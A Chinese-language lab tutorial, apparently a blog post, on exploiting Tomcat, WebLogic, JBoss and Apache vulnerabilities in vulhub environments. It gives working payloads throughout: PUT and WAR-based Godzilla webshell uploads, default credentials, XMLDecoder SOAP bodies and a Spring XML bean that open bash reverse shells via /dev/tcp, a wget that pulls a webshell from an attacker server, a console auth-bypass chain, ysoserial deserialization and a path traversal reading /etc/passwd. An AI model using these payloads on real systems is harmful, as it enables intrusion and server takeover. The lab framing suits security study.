Tomcat,WebLogic等中间件漏洞实战解析

1.tomact

CVE-2017-12615

首先启动环境,这里所有的漏洞都是在vulhub中的

然后去访问我们的网站

点击打开哥斯拉去生成一个jsp木马

然后打开抓包,刷新一下页面,修改put方法将我们的木马上传一下,这里需要在jsp后加一个/,来绕过对jsp文件的上传限制

然后去访问一下我们上传的1.jsp

可以看到访问成功,我们去用哥斯拉链接一下

后台弱口令部署war包

这里需要启动tomcat8,我们cd到tomcat8中启动一下环境

然后去访问一下

通过弱口令我们登录到后台,点击managerapp,账号密码都为tomcat

登录好后我们将我们上一关所生成的jsp木马压缩一下,修改一下后缀

点击一下,图示所指向的list,然后就可以在下方上传文件了,将我们的war包上传上去

访问一下我们的war包中的jsp文件

最后使用哥斯拉连接即可

CVE-2020-1938

首先cd到我们的CVE-2020-1938中,然后启动环境

这里我们使用脚本来进行

cmd运行我们的脚本文件,注意这里需要用到python2

运行我们的脚本

复制代码
python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 靶场的IP

就可以读取到文件了

2.WebLogic

后台弱口令getshell

首先cd到我们的靶场并启动

复制代码
cd vulhub-master/weblogic/weak_password
docker-compose up -d

访问一下7001端口,这个页面就是开启成功了

我们访问一下console目录,等一会我们的后台登录页面就启动好了

使用弱口令登录即可
weblogic Oracle@123

然后就可以跳到后台页面,这里我们点击部署然后点安装

会跳转到上传的界面

点击上载文件,然后浏览

上传我们之前的war包即可

然后一直点击下一步,到这个页面时点击安装即可

然后就可以看到我们的war包已经被上传成功

然后访问1/1.jsp路径即可访问到我们的jsp木马,使用哥斯拉连接即可

CVE-2017-3506

这个漏洞依旧使用我们上个漏洞开的环境,去访问一下/wls-wsat/CoordinatorPortType,如果存在即有这个漏洞

然后我们就可以构造post请求来反弹shell了,刷新页面然后抓包

然后右键修改请求方法为post方法,这里我们发送到重放器中便于操作

然后添加我们的请求字段同时修改一下请求格式

复制代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>bash -i &gt;&amp; /dev/tcp/监听机的IP/监听的端口 0&gt;&amp;1</string>
              </void>
            </array>
          <void method="start"/></object>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

然后开启监听,点击发送即可反弹shell

CVE-2019-2725

这一个漏洞和上一个的步骤都差不多,我们依旧是利用weak_password这个容器

首先我们拼接这个字段/_async/AsyncResponseService来验证一下漏洞是否存在

出现上述页面即为存在,然后和上一个一样,刷新然后开启抓包

修改为POST请求然后发送到重放器,写入我们的请求包,修改类型和上一个一样为text/xml

复制代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://服务器IP/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

注意这里,我们需要在我们的服务器上开启http服务,将我们的木马文件改为txt模式,上传到我们的网站中,让他从我们的网站中下载我们的木马文件,并保存为22.jsp

点击发送即可,可以根据这里的完成判断有没有上传成功

然后访问这个路径即可访问到我们的木马文件,然后去哥斯拉连接即可

CVE-2018-2628

首先启动环境

访问一下

这里我们直接利用工具箱

CVE-2018-2894

首先启动环境

复制代码
cd vulhub-master/weblogic/CVE-2018-2894 
docker-compose up -d

然后我们需要先获取一下密码,因为这一关的密码是随机生成的

然后使用我们的密码去登录即可

然后进入到后台界面,点击base然后再点击高级

然后勾选这个

然后在IP端口后拼接这个目录

修改箭头所指的位置为

复制代码
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击提交,然后点击安全,点击添加

然后上传我们的木马脚本文件

F12查看一下ID在代码中所对应的值

然后去拼接路径,就可以访问到我们的木马,哥斯拉连接即可

CVE-2020-14882

首先启动环境

复制代码
cd vulhub-master/weblogic/CVE-2020-14882 
docker-compose up -d

通过这个连接可以访问管理控制台,但是需要我们登录
http://IP:端口/console/login/LoginForm.jsp

那么我们可以利用拼接这个路径来进行绕过登录
/console/css/%252e%252e%252fconsole.portal

然后我们可以利用另一个漏洞来远程加载xml文件获取shell通过这个路径来

复制代码
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti me.getRuntime().exec('touch%20/tmp/success');")

连接两个漏洞

然后就可以构造一个恶意类让他去访问

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
                           
    <bean id="pb" 
          class="java.lang.ProcessBuilder" 
          init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/监听的IP/8888 0>&1]]></value>
            </list>
        </constructor-arg>
    </bean>
    
</beans>

然后通过这个让我们的靶场去访问这个实体类从而反弹shell

复制代码
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启http服务的ip/1.xml")

3.Jboss

CVE-2015-7501

启动环境

复制代码
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

然后去访问

然后拼接这个地址
/invoker/JMXInvokerServlet,如果如下图所示即为存在环境

这里我们利用ysoserial工具来进行操作
https://github.com/frohoff/ysoserial
将反弹shell的语句进行base64编码

然后利用我们的工具生成一个ser文件


然后开启监听,执行这段命令,即可反弹shell

复制代码
curl http://靶场IP/invoker/JMXInvokerServlet --data-binary @exp.ser

CVE-2017-7504

启动环境

复制代码
cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d

访问页面
http://靶场IP:端口/jbossmq-httpil/HTTPServerILServlet

然后利用我们的脚本进行攻击

即可反弹shell

CVE-2017-12149

启动环境

复制代码
cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

访问这个地址,如果页面是这个样子即为存在漏洞
http://靶场IP:端口/invoker/readonly


然后利用我们的工具即可https://github.com/yunxu1/jboss-_CVE-2017-12149

Administration Console弱口令

环境沿用上一个

拼接路径去访问一下登录界面

admin vulhub账号和密码,登陆后点击

上传我们之前的war包,然后步骤一样,访问然后连接

低版本JMX Console未授权

启动环境

复制代码
cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d

访问这个

账号密码都是admin,登录之后选择这个

然后开启一个http服务,然后将我们的war包上传到网站根目录,将连接写在value栏

注意这里制作war时需要注意,压缩包的名字必须为英文,且与里面的jsp文件不能同名

然后去访问,然后连接哥斯拉即可

⾼版本JMX Console未授权

启动环境

复制代码
cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

访问这个路径

账号密码admin vulhub,点击这两个地方

然后在这里,和上一关一样,上传我们服务器的war包

然后访问,哥斯拉连接即可

4.Apache

CVE-2021-41773

这一关需要我们拉取环境

复制代码
docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

然后用命令即可查看网站上的文件

复制代码
curl http://靶场IP/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
相关推荐
阿昌喜欢吃黄桃15 天前
RocketMq事务消息原理
java·中间件·消息队列·rocketmq·mq
半夜修仙16 天前
延迟队列的介绍及常见问题
java·数据库·中间件·rabbitmq
手握风云-16 天前
一条消息的旅程:RabbitMQ 学习与实践(一)
中间件·rabbitmq
RH23121116 天前
2026.6.8Linux
java·数据库·中间件
理人综艺好会17 天前
双Token机制在实际项目中的应用与实践
中间件·token
番茄去哪了18 天前
神领物流面试题(一)
java·大数据·中间件
念何架构之路18 天前
消息中间件
中间件
都说名字长不会被发现18 天前
Spring Boot Starter 中间件账号密码加密方案设计与实现
java·spring boot·后端·中间件
瀚高PG实验室18 天前
java中间件无法连接数据库
java·数据库·中间件·瀚高数据库
之歆19 天前
Day11_Express 深入解析:从中间件到项目实战
中间件·express